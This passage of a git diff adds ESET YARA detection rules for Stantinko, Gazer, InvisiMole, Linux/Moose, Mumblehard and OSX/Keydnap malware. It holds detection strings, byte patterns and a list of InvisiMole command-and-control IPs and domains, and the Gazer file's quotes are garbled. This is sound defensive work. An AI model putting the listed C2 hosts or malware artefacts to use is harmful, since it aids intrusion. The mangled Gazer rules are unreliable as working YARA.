+      ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($s*) or 3 of ($x*) ) ) or ( all of them )
+}
+
+rule pds_plugins {
+ 
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko PDS' plugins"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "std::_Vector_val<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+        $s2 = "std::_Vector_val<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+        $s3 = "std::vector<CHTTPHeader *,std::allocator<CHTTPHeader *> >" fullword ascii
+        $s4 = "std::vector<CHTTPPostItem *,std::allocator<CHTTPPostItem *> >" fullword ascii
+        $s5 = "CHTTPHeaderManager" fullword ascii
+        $s6 = "CHTTPPostItemManager *" fullword ascii
+        $s7 = "CHTTPHeaderManager *" fullword ascii
+        $s8 = "CHTTPPostItemManager" fullword ascii
+        $s9 = "CHTTPHeader" fullword ascii
+        $s10 = "CHTTPPostItem" fullword ascii
+        $s11 = "std::vector<CCookie *,std::allocator<CCookie *> >" fullword ascii
+        $s12 = "std::_Vector_val<CCookie *,std::allocator<CCookie *> >" fullword ascii
+        $s13 = "CCookieManager *" fullword ascii
+
+    condition:
+        ( uint16(0) == 0x5a4d and filesize < 1000KB and ( 2 of ($s*) ) )
+}
+
+rule stantinko_pdb {
+
+    meta:
+        Author      = "Frédéric Vachon"
+        Date        = "2017-07-17"
+        Description = "Stantinko malware family PDB path"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "D:\\work\\service\\service\\" ascii
+
+    condition:
+        all of them
+}
+
+rule stantinko_droppers {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko droppers"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        // Bytes from the encrypted payload
+        $s1 = {55 8B EC 83 EC 08 53 56 BE 80 F4 45 00 57 81 EE 80 0E 41 00 56 E8 6D 23 00 00 56 8B D8 68 80 0E 41 00 53 89 5D F8 E8 65 73 00 00 8B 0D FC F5 45}
+
+        // Keys to decrypt payload
+        $s2 = {7E 5E 7F 8C 08 46 00 00 AB 57 1A BB 91 5C 00 00 FA CC FD 76 90 3A 00 00}
+
+    condition:
+        uint16(0) == 0x5A4D and 1 of them
+}
+
+rule stantinko_d3d {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko d3dadapter component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    condition:
+        pe.exports("EntryPoint") and
+        pe.exports("ServiceMain") and
+        pe.imports("WININET.DLL", "HttpAddRequestHeadersA")
+}
+
+rule stantinko_ihctrl32 {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko ihctrl32 component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "ihctrl32.dll"
+        $s2 = "win32_hlp"
+        $s3 = "Ihctrl32Main"
+        $s4 = "I%citi%c%size%s%c%ci%s"
+        $s5 = "Global\\Intel_hctrl32"
+
+    condition:
+        2 of them
+}
+
+rule stantinko_wsaudio {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko wsaudio component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        // Export
+        $s1 = "GetInterface"
+        $s2 = "wsaudio.dll"
+
+        // Event name
+        $s3 = "Global\\Wsaudio_Initialize"
+        $s4 = "SOFTWARE\\Classes\\%s.FieldListCtrl.1\\"
+
+    condition:
+        2 of them
+}
+
+rule stantinko_ghstore {
+
+    meta:
+        Author      = "Marc-Etienne M.Léveillé"
+        Date        = "2017-07-17"
+        Description = "Stantinko ghstore component"
+        Reference   = "https://www.welivesecurity.com/wp-content/uploads/2017/07/Stantinko.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s1 = "G%cost%sSt%c%s%s%ce%sr" wide
+        $s2 = "%cho%ct%sS%sa%c%s%crve%c" wide
+        $s3 = "Par%c%ce%c%c%s" wide
+        $s4 = "S%c%curity%c%s%c%s" wide
+        $s5 = "Sys%c%s%c%c%su%c%s%clS%c%s%serv%s%ces" wide
+
+    condition:
+        3 of them
+}
diff --git a/yara-mikesxrs/eset/Gazer.yar b/yara-mikesxrs/eset/Gazer.yar
new file mode 100644
index 0000000..1bf3766
--- /dev/null
+++ b/yara-mikesxrs/eset/Gazer.yar
@@ -0,0 +1,41 @@
+import “pe�
+import “math�
+import “hash�
+rule Gazer_certificate_subject {
+ meta:
+ 	author = "ESET"
+  reference = "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+ condition:
+ for any i in (0..pe.number_of_signatures - 1):
+ (pe.signatures[i].subject contains “Solid Loop� or
+pe.signatures[i].subject contains “Ultimate Computer Support�)
+}
+
+rule Gazer_certificate
+{
+ meta:
+ 	author = "ESET"
+  reference = "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+ strings:
+ 	$certif1 = {52 76 a4 53 cd 70 9c 18 da 65 15 7e 5f 1f de 02}
+ 	$certif2 = {12 90 f2 41 d9 b2 80 af 77 fc da 12 c6 b4 96 9c}
+ condition:
+ (uint16(0) == 0x5a4d) and 1 of them and filesize < 2MB
+}
+
+rule Gazer_logfile_name
+{
+ meta:
+ 	author = "ESET"
+  reference = "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+ strings:
+ 	$s1 = “CVRG72B5.tmp.cvr�
+ 	$s2 = “CVRG1A6B.tmp.cvr�
+ 	$s3 = “CVRG38D9.tmp.cvr�
+ condition:
+ (uint16(0) == 0x5a4d) and 1 of them
+}
+
+
+
+
diff --git a/yara-mikesxrs/eset/InvisiMole.yar b/yara-mikesxrs/eset/InvisiMole.yar
new file mode 100644
index 0000000..867903f
--- /dev/null
+++ b/yara-mikesxrs/eset/InvisiMole.yar
@@ -0,0 +1,297 @@
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These YARA rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2021, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+import "pe"
+
+private rule InvisiMole_Blob {
+    meta:
+        description = "Detects InvisiMole blobs by magic values"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $magic_old_32 = {F9 FF D0 DE}
+        $magic_old_64 = {64 FF D0 DE}
+        $magic_new_32 = {86 DA 11 CE}
+        $magic_new_64 = {64 DA 11 CE}
+
+    condition:
+        ($magic_old_32 at 0) or ($magic_old_64 at 0) or ($magic_new_32 at 0) or ($magic_new_64 at 0)
+}
+
+rule apt_Windows_InvisiMole_Logs {
+    meta:
+        description = "Detects log files with collected created by InvisiMole's RC2CL backdoor"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    condition:
+        uint32(0) == 0x08F1CAA1 or
+        uint32(0) == 0x08F1CAA2 or
+        uint32(0) == 0x08F1CCC0 or
+        uint32(0) == 0x08F2AFC0 or
+        uint32(0) == 0x083AE4DF or
+        uint32(0) == 0x18F2CBB1 or
+        uint32(0) == 0x1900ABBA or
+        uint32(0) == 0x24F2CEA1 or
+        uint32(0) == 0xDA012193 or
+        uint32(0) == 0xDA018993 or
+        uint32(0) == 0xDA018995 or
+        uint32(0) == 0xDD018991
+}
+
+rule apt_Windows_InvisiMole_SFX_Dropper {
+
+    meta:
+        description = "Detects trojanized InvisiMole files: patched RAR SFX droppers with added InvisiMole blobs (config encrypted XOR 2A at the end of a file)"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $encrypted_config = {5F 59 4F 58 19 18 04 4E 46 46 2A 5D 59 5A 58 43 44 5E 4C 7D 2A 0F 2A 59 2A 78 2A 4B 2A 58 2A 0E 2A 6F 2A 72 2A 4B 2A 0F 2A 4E 2A 04 2A 0F 2A 4E 2A 76 2A 0F 2A 79 2A 2A 2A 79 42 4F 46 46 6F 52 4F 49 5F 5E 4F 7D 2A 79 42 4F 46 46 19 18 04 4E 46 46 2A 7C 43 58 5E 5F 4B 46 6B 46 46 45 49 2A 66 45 4B 4E 66 43 48 58 4B 58 53 6B}
+
+    condition:
+        uint16(0) == 0x5A4D and $encrypted_config
+}
+
+rule apt_Windows_InvisiMole_CPL_Loader {
+    meta:
+        description = "CPL loader"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "WScr%steObject(\"WScr%s.Run(\"::{20d04fe0-3a%s30309d}\\\\::{21EC%sDD-08002B3030%s\", 0);"
+        $s2 = "\\Control.js" wide
+        $s3 = "\\Control Panel.lnk" wide
+        $s4 = "FPC 3.0.4 [2019/04/13] for x86_64 - Win64"
+        $s5 = "FPC 3.0.4 [2019/04/13] for i386 - Win32"
+        $s6 = "imageapplet.dat" wide
+        $s7 = "wkssvmtx"
+
+    condition:
+        uint16(0) == 0x5A4D and (3 of them)
+}
+
+rule apt_Windows_InvisiMole_Wrapper_DLL {
+    meta:
+        description = "Detects InvisiMole wrapper DLL with embedded RC2CL and RC2FM backdoors, by export and resource names"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    condition:
+        pe.exports("GetDataLength") and
+        for any y in (0..pe.number_of_resources - 1): (
+            pe.resources[y].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string == "R\x00C\x002\x00C\x00L\x00"
+        ) and
+        for any y in (0..pe.number_of_resources - 1): (
+            pe.resources[y].type == pe.RESOURCE_TYPE_RCDATA and pe.resources[y].name_string == "R\x00C\x002\x00F\x00M\x00"
+        )
+}
+
+rule apt_Windows_InvisiMole_DNS_Downloader {
+
+    meta:
+        description = "InvisiMole DNS downloader"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $d = "DnsQuery_A"
+
+        $s1 = "Wireshark-is-running-{9CA78EEA-EA4D-4490-9240-FC01FCEF464B}" xor
+        $s2 = "AddIns\\" ascii wide xor
+        $s3 = "pcornomeex." xor
+        $s4 = "weriahsek.rxe" xor
+        $s5 = "dpmupaceex." xor
+        $s6 = "TCPViewClass" xor
+        $s7 = "PROCMON_WINDOW_CLASS" xor
+        $s8 = "Key%C"
+        $s9 = "AutoEx%C" xor
+        $s10 = "MSO~"
+        $s11 = "MDE~"
+        $s12 = "DNS PLUGIN, Step %d" xor
+        $s13 = "rundll32.exe \"%s\",StartUI"
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and $d and 5 of ($s*)
+}
+
+rule apt_Windows_InvisiMole_RC2CL_Backdoor {
+
+    meta:
+        description = "InvisiMole RC2CL backdoor"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "RC2CL" wide
+
+        $s2 = "hp12KsNh92Dwd" wide
+        $s3 = "ZLib package %s: files: %d, total size: %d" wide
+        $s4 = "\\Un4seen" wide
+        $s5 = {9E 01 3A AD} // encryption key
+
+        $s6 = "~mrc_" wide
+        $s7 = "~src_" wide
+        $s8 = "~wbc_" wide
+        $s9 = "zdf_" wide
+        $s10 = "~S0PM" wide
+        $s11 = "~A0FM" wide
+        $s12 = "~70Z63\\" wide
+        $s13 = "~E070C" wide
+        $s14 = "~N031E" wide
+
+        $s15 = "%szdf_%s.data" wide
+        $s16 = "%spicture.crd" wide
+        $s17 = "%s70zf_%s.cab" wide
+        $s18 = "%spreview.crd" wide
+
+        $s19 = "Value_Bck" wide
+        $s20 = "Value_WSFX_ZC" wide
+        $s21 = "MachineAccessStateData" wide
+        $s22 = "SettingsSR2" wide
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and 5 of ($s*)
+}
+
+rule apt_Windows_InvisiMole {
+
+    meta:
+        description = "InvisiMole magic values, keys and strings"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "CryptProtectData"
+        $s2 = "CryptUnprotectData"
+        $s3 = {9E 01 3A AD}
+        $s4 = "GET /getversion2a/%d%.2X%.2X/U%sN HTTP/1.1"
+        $s5 = "PULSAR_LOADER.dll"
+
+        /*
+        cmp reg, 0DED0FFF9h
+        */
+        $check_magic_old_32 = {3? F9 FF D0 DE}
+
+        /*
+        cmp reg, 0DED0FF64h
+        */
+        $check_magic_old_64 = {3? 64 FF D0 DE}
+
+        /*
+        cmp dword ptr [reg], 0CE11DA86h
+        */
+        $check_magic_new_32 = {81 3? 86 DA 11 CE}
+
+        /*
+        cmp dword ptr [reg], 0CE11DA64h
+        */
+        $check_magic_new_64 = {81 3? 64 DA 11 CE}
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and (any of ($check_magic*)) and (2 of ($s*))
+}
+
+rule apt_Windows_InvisiMole_C2 {
+
+    meta:
+        description = "InvisiMole C&C servers"
+        author = "ESET Research"
+        date = "2021-05-17"
+        reference = "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+        source = "https://github.com/eset/malware-ioc/"
+        license = "BSD 2-Clause"
+        version = "1"
+
+    strings:
+        $s1 = "46.165.220.228" ascii wide
+        $s2 = "80.255.3.66" ascii wide
+        $s3 = "85.17.26.174" ascii wide
+        $s4 = "185.193.38.55" ascii wide
+        $s5 = "194.187.249.157"  ascii wide
+        $s6 = "195.154.255.211"  ascii wide
+        $s7 = "153.re"  ascii wide fullword
+        $s8 = "adstat.red"  ascii wide
+        $s9 = "adtrax.net"  ascii wide
+        $s10 = "akamai.sytes.net"  ascii wide
+        $s11 = "amz-eu401.com"  ascii wide
+        $s12 = "blabla234342.sytes.net"  ascii wide
+        $s13 = "mx1.be"  ascii wide fullword
+        $s14 = "statad.de"  ascii wide
+        $s15 = "time.servehttp.com"  ascii wide
+        $s16 = "upd.re"  ascii wide fullword
+        $s17 = "update.xn--6frz82g"  ascii wide
+        $s18 = "updatecloud.sytes.net"  ascii wide
+        $s19 = "updchecking.sytes.net"  ascii wide
+        $s20 = "wlsts.net"  ascii wide
+        $s21 = "ro2.host"  ascii wide fullword
+        $s22 = "2ld.xyz"  ascii wide fullword
+        $s23 = "the-haba.com"  ascii wide
+        $s24 = "82.202.172.134"  ascii wide
+        $s25 = "update.xn--6frz82g"  ascii wide
+
+    condition:
+        ((uint16(0) == 0x5A4D) or InvisiMole_Blob) and $s21 and any of them
+}
diff --git a/yara-mikesxrs/eset/Linux_Moose.yar b/yara-mikesxrs/eset/Linux_Moose.yar
new file mode 100644
index 0000000..0cd9f61
--- /dev/null
+++ b/yara-mikesxrs/eset/Linux_Moose.yar
@@ -0,0 +1,76 @@
+// Linux/Moose yara rules
+// For feedback or questions contact us at: github@eset.com
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+private rule is_elf
+{
+    strings:
+        $header = { 7F 45 4C 46 }
+
+    condition:
+        $header at 0
+}
+
+rule moose
+{
+    meta:
+        Author      = "Thomas Dupuy"
+        Date        = "2015/04/21"
+        Description = "Linux/Moose malware"
+        Reference   = "http://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdf"
+        Source = "https://github.com/eset/malware-ioc/"
+        Contact = "github@eset.com"
+        License = "BSD 2-Clause"
+
+    strings:
+        $s0 = "Status: OK"
+        $s1 = "--scrypt"
+        $s2 = "stratum+tcp://"
+        $s3 = "cmd.so"
+        $s4 = "/Challenge"
+        $s7 = "processor"
+        $s9 = "cpu model"
+        $s21 = "password is wrong"
+        $s22 = "password:"
+        $s23 = "uthentication failed"
+        $s24 = "sh"
+        $s25 = "ps"
+        $s26 = "echo -n -e "
+        $s27 = "chmod"
+        $s28 = "elan2"
+        $s29 = "elan3"
+        $s30 = "chmod: not found"
+        $s31 = "cat /proc/cpuinfo"
+        $s32 = "/proc/%s/cmdline"
+        $s33 = "kill %s"
+
+    condition:
+        is_elf and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/eset/Mumblehard_packer.yar b/yara-mikesxrs/eset/Mumblehard_packer.yar
new file mode 100644
index 0000000..477cb46
--- /dev/null
+++ b/yara-mikesxrs/eset/Mumblehard_packer.yar
@@ -0,0 +1,47 @@
+// Mumblehard packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2015, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+rule mumblehard_packer
+{
+    meta:
+        description = "Mumblehard i386 assembly code responsible for decrypting Perl code"
+        author = "Marc-Etienne M. Leveille"
+        date = "2015-04-07"
+        reference = "http://www.welivesecurity.com"
+        version = "1"
+
+    strings:
+        $decrypt = { 31 db  [1-10]  ba ?? 00 00 00  [0-6]  (56 5f |  89 F7)
+                     39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
+                     00 31 db 43 ac 30 d8 aa 43 e2 e2 }
+    condition:
+        $decrypt
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/eset/OSX_Keydnap_backdoor.yar b/yara-mikesxrs/eset/OSX_Keydnap_backdoor.yar
new file mode 100644
index 0000000..bab6c45
--- /dev/null
+++ b/yara-mikesxrs/eset/OSX_Keydnap_backdoor.yar
@@ -0,0 +1,50 @@
+// Keydnap packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+
+rule keydnap_backdoor
+{
+    meta:
+        description = "Unpacked OSX/Keydnap backdoor"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $ = "api/osx/get_task"
+        $ = "api/osx/cmd_executed"
+        $ = "Loader-"
+        $ = "u2RLhh+!LGd9p8!ZtuKcN"
+        $ = "com.apple.iCloud.sync.daemon"
+    condition:
+        2 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/eset/OSX_Keydnap_packer.yar b/yara-mikesxrs/eset/OSX_Keydnap_packer.yar
new file mode 100644
index 0000000..0e8d92a
--- /dev/null
+++ b/yara-mikesxrs/eset/OSX_Keydnap_packer.yar
@@ -0,0 +1,51 @@
+// Keydnap packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+//
+
+
+rule keydnap_backdoor_packer
+{
+    meta:
+        description = "OSX/Keydnap packed backdoor"
+        author = "Marc-Etienne M. Leveille"
+        date = "2016-07-06"
+        reference = "http://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-is-hungry-for-credentials"
+        version = "1"
+
+    strings:
+        $upx_string = "This file is packed with the UPX"
+        $packer_magic = "ASS7"
+        $upx_magic = "UPX!"
+        
+    condition:
+        $upx_string and $packer_magic and not $upx_magic
+}
+
+
diff --git a/yara-mikesxrs/eset/OSX_keydnap_downloader.yar b/yara-mikesxrs/eset/OSX_keydnap_downloader.yar
new file mode 100644
index 0000000..0e18384
--- /dev/null
+++ b/yara-mikesxrs/eset/OSX_keydnap_downloader.yar
@@ -0,0 +1,49 @@
+// Keydnap packer yara rule
+// https://github.com/eset/malware-ioc/
+//
+// These yara rules are provided to the community under the two-clause BSD
+// license as follows:
+//
+// Copyright (c) 2016, ESET
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions are met:
+//
+// 1. Redistributions of source code must retain the above copyright notice, this
+// list of conditions and the following disclaimer.
+//
+// 2. Redistributions in binary form must reproduce the above copyright notice,
+// this list of conditions and the following disclaimer in the documentation
+// and/or other materials provided with the distribution.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
